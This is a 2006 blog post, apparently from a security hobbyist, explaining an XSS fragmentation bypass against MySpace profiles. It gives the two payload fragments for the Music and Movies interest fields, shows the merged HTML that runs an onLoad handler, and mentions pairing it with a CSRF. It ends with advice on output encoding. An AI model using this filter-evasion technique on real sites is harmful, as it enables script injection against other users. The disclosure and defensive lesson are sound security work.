RETURN $ecure;

Security, Technology and Life

XSS Fragmentation and MySpace 0day

leave a comment »

kuza55 wrote a very good article on implementing fragmenation attacks with XSS.

At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.

The actual exploit is using <body foo=’  in your “Music Interests” box for your profile.
It then puts everything splitting the Music and Film sections into the foo attribute. In the Movies section of your interests you put  ‘ onLoad=’alert(“xss”);> This turns out something like this.

<tr id=MusicRow><td valign=”top” align=”left” width=”100″ bgcolor=”#b1d0f0″><span class=”lightbluetext8″>Music</span></td><td id=”ProfileMusic” width=”175″ bgcolor=”#d5e8fb” style=”WORD-WRAP: break-word”>Music</span></td><td id=’ProfileMusic’ width=’175′ bgcolor=’#d5e8fb’ style=”WORD-WRAP: break-word”><body test='</td></tr><script language=”JavaScript”>highlightInterests(“ProfileMusic”);</script><tr id=MoviesRow><td valign=”top” align=”left” width=”100″ bgcolor=”#b1d0f0″><span class=”lightbluetext8″>Movies</span></td><td id=”ProfileMovies” width=”175″ bgcolor=”#d5e8fb” style=”WORD-WRAP: break-word”>’ onLoad=’alert(“Salut?”);’></body></html></td></tr><script language=”JavaScript”>highlightInterests(“ProfileMovies”);</script>

As you can see, there are no single quotes between the two interest fields. Which makes the second field execute the event handler code. This is a prime example of why you should not do contextual blacklisting. This means, don’t be looking for completed html tags, proper formatting, etc. If I put a <style> tag in a field then use the javascript directive later in the page but still within the style, it will run, but if I use it in the same field, it will be blocked. Instead you should turn many non-alphanumeric characters into their HTML equivelants.

Live code. Uses Malucs CSRF of changing your Preferred language to french.

Written by Rodney G

10/22/2006 at 1:44 pm

Posted in Uncategorized

Tagged with

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: